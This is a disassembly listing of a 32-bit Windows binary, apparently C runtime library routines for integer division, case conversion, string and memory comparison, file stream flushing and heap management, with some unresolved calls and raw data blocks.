		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		nop
		call	near ptr 2670859h
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2820000h
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 4
		dd 0F27D6044h, 48722AE0h, 8CDE20E0h, 0A1648CD6h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 7E890E8h, 33024642h, 89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 0E8000059h, 246418Ah, 0C90CA390h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 33C4E856h, 50900225h, 0FE3820E8h,	0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		nop
		call	near ptr 26508ACh
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2670859h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 2670DBEh
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 26C060Eh
		nop
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2890000h
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 482217E8h
		dd 0A3C08502h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh
		dd 2473099h, 6AC3C033h,	68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 3921BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
